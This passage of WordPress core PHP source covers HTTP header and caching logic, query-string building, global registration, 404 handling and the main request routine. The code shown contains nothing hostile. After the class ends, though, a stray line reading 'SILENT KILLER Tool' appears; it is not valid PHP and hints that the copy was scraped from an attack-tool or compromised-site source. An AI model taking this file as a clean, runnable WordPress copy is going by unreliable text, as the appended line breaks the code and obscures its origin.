					&& ( ! empty( $this->query_vars['p'] )
						|| ! empty( $this->query_vars['name'] )
						|| ! empty( $this->query_vars['page_id'] )
						|| ! empty( $this->query_vars['pagename'] )
						|| ! empty( $this->query_vars['attachment'] )
						|| ! empty( $this->query_vars['attachment_id'] )
					)
				)
			) {
				$wp_last_modified_post    = mysql2date( $date_format, get_lastpostmodified( 'GMT' ), false );
				$wp_last_modified_comment = mysql2date( $date_format, get_lastcommentmodified( 'GMT' ), false );

				if ( strtotime( $wp_last_modified_post ) > strtotime( $wp_last_modified_comment ) ) {
					$wp_last_modified = $wp_last_modified_post;
				} else {
					$wp_last_modified = $wp_last_modified_comment;
				}
			} else {
				$wp_last_modified = mysql2date( $date_format, get_lastpostmodified( 'GMT' ), false );
			}

			if ( ! $wp_last_modified ) {
				$wp_last_modified = gmdate( $date_format );
			}

			$wp_last_modified .= ' GMT';
			$wp_etag           = '"' . md5( $wp_last_modified ) . '"';

			$headers['Last-Modified'] = $wp_last_modified;
			$headers['ETag']          = $wp_etag;

			// Support for conditional GET.
			if ( isset( $_SERVER['HTTP_IF_NONE_MATCH'] ) ) {
				$client_etag = wp_unslash( $_SERVER['HTTP_IF_NONE_MATCH'] );
			} else {
				$client_etag = '';
			}

			if ( isset( $_SERVER['HTTP_IF_MODIFIED_SINCE'] ) ) {
				$client_last_modified = trim( $_SERVER['HTTP_IF_MODIFIED_SINCE'] );
			} else {
				$client_last_modified = '';
			}

			// If string is empty, return 0. If not, attempt to parse into a timestamp.
			$client_modified_timestamp = $client_last_modified ? strtotime( $client_last_modified ) : 0;

			// Make a timestamp for our most recent modification.
			$wp_modified_timestamp = strtotime( $wp_last_modified );

			if ( ( $client_last_modified && $client_etag )
				? ( ( $client_modified_timestamp >= $wp_modified_timestamp ) && ( $client_etag === $wp_etag ) )
				: ( ( $client_modified_timestamp >= $wp_modified_timestamp ) || ( $client_etag === $wp_etag ) )
			) {
				$status        = 304;
				$exit_required = true;
			}
		}

		if ( is_singular() ) {
			$post = isset( $wp_query->post ) ? $wp_query->post : null;

			// Only set X-Pingback for single posts that allow pings.
			if ( $post && pings_open( $post ) ) {
				$headers['X-Pingback'] = get_bloginfo( 'pingback_url', 'display' );
			}
		}

		/**
		 * Filters the HTTP headers before they're sent to the browser.
		 *
		 * @since 2.8.0
		 *
		 * @param string[] $headers Associative array of headers to be sent.
		 * @param WP       $wp      Current WordPress environment instance.
		 */
		$headers = apply_filters( 'wp_headers', $headers, $this );

		if ( ! empty( $status ) ) {
			status_header( $status );
		}

		// If Last-Modified is set to false, it should not be sent (no-cache situation).
		if ( isset( $headers['Last-Modified'] ) && false === $headers['Last-Modified'] ) {
			unset( $headers['Last-Modified'] );

			if ( ! headers_sent() ) {
				header_remove( 'Last-Modified' );
			}
		}

		if ( ! headers_sent() ) {
			foreach ( (array) $headers as $name => $field_value ) {
				header( "{$name}: {$field_value}" );
			}
		}

		if ( $exit_required ) {
			exit;
		}

		/**
		 * Fires once the requested HTTP headers for caching, content type, etc. have been sent.
		 *
		 * @since 2.1.0
		 *
		 * @param WP $wp Current WordPress environment instance (passed by reference).
		 */
		do_action_ref_array( 'send_headers', array( &$this ) );
	}

	/**
	 * Sets the query string property based off of the query variable property.
	 *
	 * The {@see 'query_string'} filter is deprecated, but still works. Plugins should
	 * use the {@see 'request'} filter instead.
	 *
	 * @since 2.0.0
	 */
	public function build_query_string() {
		$this->query_string = '';

		foreach ( (array) array_keys( $this->query_vars ) as $wpvar ) {
			if ( '' !== $this->query_vars[ $wpvar ] ) {
				$this->query_string .= ( strlen( $this->query_string ) < 1 ) ? '' : '&';

				if ( ! is_scalar( $this->query_vars[ $wpvar ] ) ) { // Discard non-scalars.
					continue;
				}

				$this->query_string .= $wpvar . '=' . rawurlencode( $this->query_vars[ $wpvar ] );
			}
		}

		if ( has_filter( 'query_string' ) ) {  // Don't bother filtering and parsing if no plugins are hooked in.
			/**
			 * Filters the query string before parsing.
			 *
			 * @since 1.5.0
			 * @deprecated 2.1.0 Use {@see 'query_vars'} or {@see 'request'} filters instead.
			 *
			 * @param string $query_string The query string to modify.
			 */
			$this->query_string = apply_filters_deprecated(
				'query_string',
				array( $this->query_string ),
				'2.1.0',
				'query_vars, request'
			);

			parse_str( $this->query_string, $this->query_vars );
		}
	}

	/**
	 * Set up the WordPress Globals.
	 *
	 * The query_vars property will be extracted to the GLOBALS. So care should
	 * be taken when naming global variables that might interfere with the
	 * WordPress environment.
	 *
	 * @since 2.0.0
	 *
	 * @global WP_Query     $wp_query     WordPress Query object.
	 * @global string       $query_string Query string for the loop.
	 * @global array        $posts        The found posts.
	 * @global WP_Post|null $post         The current post, if available.
	 * @global string       $request      The SQL statement for the request.
	 * @global int          $more         Only set, if single page or post.
	 * @global int          $single       If single page or post. Only set, if single page or post.
	 * @global WP_User      $authordata   Only set, if author archive.
	 */
	public function register_globals() {
		global $wp_query;

		// Extract updated query vars back into global namespace.
		foreach ( (array) $wp_query->query_vars as $key => $value ) {
			$GLOBALS[ $key ] = $value;
		}

		$GLOBALS['query_string'] = $this->query_string;
		$GLOBALS['posts']        = & $wp_query->posts;
		$GLOBALS['post']         = isset( $wp_query->post ) ? $wp_query->post : null;
		$GLOBALS['request']      = $wp_query->request;

		if ( $wp_query->is_single() || $wp_query->is_page() ) {
			$GLOBALS['more']   = 1;
			$GLOBALS['single'] = 1;
		}

		if ( $wp_query->is_author() ) {
			$GLOBALS['authordata'] = get_userdata( get_queried_object_id() );
		}
	}

	/**
	 * Set up the current user.
	 *
	 * @since 2.0.0
	 */
	public function init() {
		wp_get_current_user();
	}

	/**
	 * Set up the Loop based on the query variables.
	 *
	 * @since 2.0.0
	 *
	 * @global WP_Query $wp_the_query WordPress Query object.
	 */
	public function query_posts() {
		global $wp_the_query;
		$this->build_query_string();
		$wp_the_query->query( $this->query_vars );
	}

	/**
	 * Set the Headers for 404, if nothing is found for requested URL.
	 *
	 * Issue a 404 if a request doesn't match any posts and doesn't match any object
	 * (e.g. an existing-but-empty category, tag, author) and a 404 was not already issued,
	 * and if the request was not a search or the homepage.
	 *
	 * Otherwise, issue a 200.
	 *
	 * This sets headers after posts have been queried. handle_404() really means "handle status".
	 * By inspecting the result of querying posts, seemingly successful requests can be switched to
	 * a 404 so that canonical redirection logic can kick in.
	 *
	 * @since 2.0.0
	 *
	 * @global WP_Query $wp_query WordPress Query object.
	 */
	public function handle_404() {
		global $wp_query;

		/**
		 * Filters whether to short-circuit default header status handling.
		 *
		 * Returning a non-false value from the filter will short-circuit the handling
		 * and return early.
		 *
		 * @since 4.5.0
		 *
		 * @param bool     $preempt  Whether to short-circuit default header status handling. Default false.
		 * @param WP_Query $wp_query WordPress Query object.
		 */
		if ( false !== apply_filters( 'pre_handle_404', false, $wp_query ) ) {
			return;
		}

		// If we've already issued a 404, bail.
		if ( is_404() ) {
			return;
		}

		$set_404 = true;

		// Never 404 for the admin, robots, or favicon.
		if ( is_admin() || is_robots() || is_favicon() ) {
			$set_404 = false;

			// If posts were found, check for paged content.
		} elseif ( $wp_query->posts ) {
			$content_found = true;

			if ( is_singular() ) {
				$post = isset( $wp_query->post ) ? $wp_query->post : null;
				$next = '<!--nextpage-->';

				// Check for paged content that exceeds the max number of pages.
				if ( $post && ! empty( $this->query_vars['page'] ) ) {
					// Check if content is actually intended to be paged.
					if ( str_contains( $post->post_content, $next ) ) {
						$page          = trim( $this->query_vars['page'], '/' );
						$content_found = (int) $page <= ( substr_count( $post->post_content, $next ) + 1 );
					} else {
						$content_found = false;
					}
				}
			}

			// The posts page does not support the <!--nextpage--> pagination.
			if ( $wp_query->is_posts_page && ! empty( $this->query_vars['page'] ) ) {
				$content_found = false;
			}

			if ( $content_found ) {
				$set_404 = false;
			}

			// We will 404 for paged queries, as no posts were found.
		} elseif ( ! is_paged() ) {
			$author = get_query_var( 'author' );

			// Don't 404 for authors without posts as long as they matched an author on this site.
			if ( is_author() && is_numeric( $author ) && $author > 0 && is_user_member_of_blog( $author )
				// Don't 404 for these queries if they matched an object.
				|| ( is_tag() || is_category() || is_tax() || is_post_type_archive() ) && get_queried_object()
				// Don't 404 for these queries either.
				|| is_home() || is_search() || is_feed()
			) {
				$set_404 = false;
			}
		}

		if ( $set_404 ) {
			// Guess it's time to 404.
			$wp_query->set_404();
			status_header( 404 );
			nocache_headers();
		} else {
			status_header( 200 );
		}
	}

	/**
	 * Sets up all of the variables required by the WordPress environment.
	 *
	 * The action {@see 'wp'} has one parameter that references the WP object. It
	 * allows for accessing the properties and methods to further manipulate the
	 * object.
	 *
	 * @since 2.0.0
	 *
	 * @param string|array $query_args Passed to parse_request().
	 */
	public function main( $query_args = '' ) {
		$this->init();

		$parsed = $this->parse_request( $query_args );

		if ( $parsed ) {
			$this->query_posts();
			$this->handle_404();
			$this->register_globals();
		}

		$this->send_headers();

		/**
		 * Fires once the WordPress environment has been set up.
		 *
		 * @since 2.1.0
		 *
		 * @param WP $wp Current WordPress environment instance (passed by reference).
		 */
		do_action_ref_array( 'wp', array( &$this ) );
	}
}

SILENT KILLER Tool